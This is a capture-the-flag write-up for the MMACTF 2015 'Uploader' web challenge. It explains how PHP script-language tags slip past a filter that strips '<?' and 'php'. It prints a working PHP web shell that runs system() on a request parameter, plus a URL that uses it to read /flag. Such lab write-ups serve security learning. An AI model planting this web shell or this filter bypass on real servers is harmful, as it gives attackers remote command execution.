Executing php using script tags - MMACTF 2015, Uploader, web 100 writeup

Sep 7, 2015 • webchallenges, ctf-web

Do you happen to know that PHP can be executed using script tags ?

Well this was quite a fascinating challenge. We are greeted with a challenge which has a direct file upload which even uploads .php but will not execute it because there is a filter which goes through the file we uploaded and removes all <?php tags from it. I tried several ways to escape out of Regex filter (or what ever filter they are using) but I just couldn’t do it.

After reading and trying a lot of different methods (every single one failed), I read the description of the challenge again:

This uploader deletes all /<\?|php/. So you cannot run php. 

Well, now thats interesting. If they want to disallow the PHP execution, they why did they allow us to upload .php extension files ? They can easily limit the upload feature but they didn’t which means our aim is to execute php web shell without using the <?php to write the code.

Frankly speaking, I had no idea on how to execute without adding <?php. So I googled around to see an alternative option and I was shocked to read php tags documentation. Did you see an awesome method of executing php there ?

<script language="php"> </script>

That moment I didn’t know how to explain but I was quite surprised. Now lets right a simple web shell using the same:

<script language="phP">
    if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST["cmd"]);
        system($cmd);
        die;
    }
</script>

.

Called it shell.php and uploaded it. The uploader gives me direct access to the file with which I can run system commands :-). Now its a matter of searching for the flag and it was there in the root directory itself.

http://recocta.chal.mmactf.link:9080/u/shelll.php?cmd=cat%20/flag

This gives me back the flag I was looking for.

Flag: MMA{you can run php from script tag}

The challenge were super fun and a good learning too. I never knew that <script language="php"> could actually execute php. Thanks to the organizers of MMACTF for the awesome challenges.

Also read: Local File inclusion + File Upload = Remote Code execution - MMACTF 2015 web 300 writeup

Anirudh Anand

Security Engineer @flipkart | Web Application Security ♥ | Google, Microsoft, Zendesk, Gitlab Hall of Fames | Blogger | CTF lover - @teambi0s | certs - eWDP, OSCP